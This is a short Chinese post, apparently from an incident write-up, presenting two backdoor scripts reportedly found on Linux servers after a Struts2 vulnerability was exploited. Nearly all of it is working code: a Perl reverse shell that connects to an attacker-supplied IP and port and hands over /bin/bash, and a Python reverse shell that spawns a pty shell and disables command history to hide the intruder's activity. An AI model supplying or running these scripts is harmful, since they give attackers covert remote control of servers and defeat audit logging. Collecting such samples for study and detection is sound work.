Struts2 漏洞出现后,发现的一些后门脚本

1.linux 上的后门脚本 1)perl写的

use strict; 
use Socket; 
use IO::Handle; 
if($#ARGV+1 != 2){ 
print "$#ARGV $0 Remote_IP Remote_Port \n"; 
exit 1; 
} 
my $remote_ip = $ARGV[0]; 
my $remote_port = $ARGV[1]; 
my $proto = getprotobyname("tcp"); 
my $pack_addr = sockaddr_in($remote_port, inet_aton($remote_ip)); 
my $shell = '/bin/bash -i'; 
socket(SOCK, AF_INET, SOCK_STREAM, $proto); 
STDOUT->autoflush(1); 
SOCK->autoflush(1); 
connect(SOCK,$pack_addr) or die "can not connect:$!"; 
open STDIN, "<&SOCK"; 
open STDOUT, ">&SOCK"; 
open STDERR, ">&SOCK"; 
print "Enjoy the shell.\n"; 
system($shell); 
close SOCK; 
exit 0;

2)python 写的

# -*- coding:utf-8 -*- 
#!/usr/bin/env python 
""" 
back connect py version,only linux have pty module 
code by google security team 
""" 
import sys,os,socket,pty 
shell = "/bin/sh" 
def usage(name): 
print 'python reverse connector' 
print 'usage: %s <ip_addr> <port>' % name 

def main(): 
if len(sys.argv) !=3: 
usage(sys.argv[0]) 
sys.exit() 
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) 
try: 
s.connect((sys.argv[1],int(sys.argv[2]))) 
print 'connect ok' 
except: 
print 'connect faild' 
sys.exit() 
os.dup2(s.fileno(),0) 
os.dup2(s.fileno(),1) 
os.dup2(s.fileno(),2) 
global shell 
os.unsetenv("HISTFILE") 
os.unsetenv("HISTFILESIZE") 
os.unsetenv("HISTSIZE") 
os.unsetenv("HISTORY") 
os.unsetenv("HISTSAVE") 
os.unsetenv("HISTZONE") 
os.unsetenv("HISTLOG") 
os.unsetenv("HISTCMD") 
os.putenv("HISTFILE",'/dev/null') 
os.putenv("HISTSIZE",'0') 
os.putenv("HISTFILESIZE",'0') 
pty.spawn(shell) 
s.close() 

if __name__ == '__main__': 
main()